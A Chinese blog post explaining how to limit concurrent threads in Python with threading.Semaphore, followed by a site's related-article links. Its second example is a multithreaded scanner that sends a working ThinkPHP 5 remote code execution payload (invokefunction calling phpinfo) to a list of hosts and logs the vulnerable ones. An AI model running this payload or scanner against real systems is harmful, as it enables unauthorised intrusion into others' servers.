python多线程semaphore实现线程数控制的示例


Posted in Python onAugust 10, 2020

前面写过一篇关于python多线程的实现的文章, 但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了semaphore这个东西。

百度给的解释:Semaphore是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确、合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等待,此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。

简而言之,也就是能够控制多线程并发的数量。

简单记录一下如何通过semaphore实现线程数的控制。

简单代码:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法,这为python2的写法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数,线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程,可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数,这里为5个

每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要acquire()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法,python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数,释放线程,线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法,python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程,直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()

到此这篇关于python多线程semaphore实现线程数控制的示例的文章就介绍到这了,更多相关python 线程数控制内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python数组过滤实现方法
Jul 27 Python
详解python脚本自动生成需要文件实例代码
Feb 04 Python
Python实现Youku视频批量下载功能
Mar 14 Python
Python实现删除时保留特定文件夹和文件的示例
Apr 27 Python
解决tensorflow测试模型时NotFoundError错误的问题
Jul 27 Python
python 实现A*算法的示例代码
Aug 13 Python
使用python Fabric动态修改远程机器hosts的方法
Oct 26 Python
Python numpy.array()生成相同元素数组的示例
Nov 12 Python
Python post请求实现代码实例
Feb 28 Python
Python列表倒序输出及其效率详解
Mar 04 Python
用 Python 制作地球仪的方法
Apr 24 Python
Django如何使用redis作为缓存
May 21 Python
如何在python中实现线性回归
Aug 10 #Python
Python多线程的退出控制实现
Aug 10 #Python
Python进行统计建模
Aug 10 #Python
Python如何爬取b站热门视频并导入Excel
Aug 10 #Python
拿来就用!Python批量合并PDF的示例代码
Aug 10 #Python
Python 发送邮件方法总结
Aug 10 #Python
Python getattr()函数使用方法代码实例
Aug 10 #Python
You might like
PHP的范围解析操作符(::)的含义分析说明
2011/07/03 PHP
PHP设计模式之责任链模式的深入解析
2013/06/13 PHP
Docker搭建自己的PHP开发环境
2018/02/24 PHP
PHP实现财务审核通过后返现金额到客户的功能
2019/07/04 PHP
php框架CI(codeigniter)自动加载与自主创建对象操作实例分析
2020/06/06 PHP
JAVASCRIPT函数作用域和提前声明 分享
2013/08/22 Javascript
jquery提取元素里的纯文本不包含span等里的内容
2013/09/30 Javascript
js中对象的声明方式以及数组的一些用法示例
2013/12/11 Javascript
JavaScript代码轻松实现网页内容禁止复制(代码简单)
2015/10/23 Javascript
JavaScript构造函数详解
2015/12/27 Javascript
JavaScript中的Number数字类型学习笔记
2016/05/26 Javascript
浅析Bootstrap表格的使用
2016/06/23 Javascript
WEB前端实现裁剪上传图片功能
2016/10/17 Javascript
vue.js指令v-model使用方法
2017/03/20 Javascript
JS实现简易的图片拖拽排序实例代码
2017/06/09 Javascript
javascript checkbox/radio onchange不能兼容ie8处理办法
2017/06/13 Javascript
node.js中grunt和gulp的区别详解
2017/07/17 Javascript
微信小程序中时间戳和日期的相互转换问题
2018/07/09 Javascript
nodejs读取本地中文json文件出现乱码解决方法
2018/10/10 NodeJs
解决vue项目router切换太慢问题
2020/07/19 Javascript
浅谈python对象数据的读写权限
2016/09/12 Python
Python 中pandas.read_excel详细介绍
2017/06/23 Python
Python中的浮点数原理与运算分析
2017/10/12 Python
浅谈flask源码之请求过程
2018/07/26 Python
Selenium控制浏览器常见操作示例
2018/08/13 Python
在Pandas中给多层索引降级的方法
2018/11/16 Python
英国最大的专业户外零售商:Mountain Warehouse
2018/06/06 全球购物
物业管理求职自荐信
2013/09/25 职场文书
前台领班岗位职责
2013/12/04 职场文书
六一儿童节主持词
2014/03/21 职场文书
《金色的脚印》教后反思
2014/04/23 职场文书
专科生就业求职信
2014/06/22 职场文书
党的群众路线教育实践活动对照检查材料(四风)
2014/09/27 职场文书
Vue3中toRef与toRefs的区别
2022/03/24 Vue.js
索尼ICF-36收音机评测
2022/04/30 无线电
小程序实现侧滑删除功能
2022/06/25 Javascript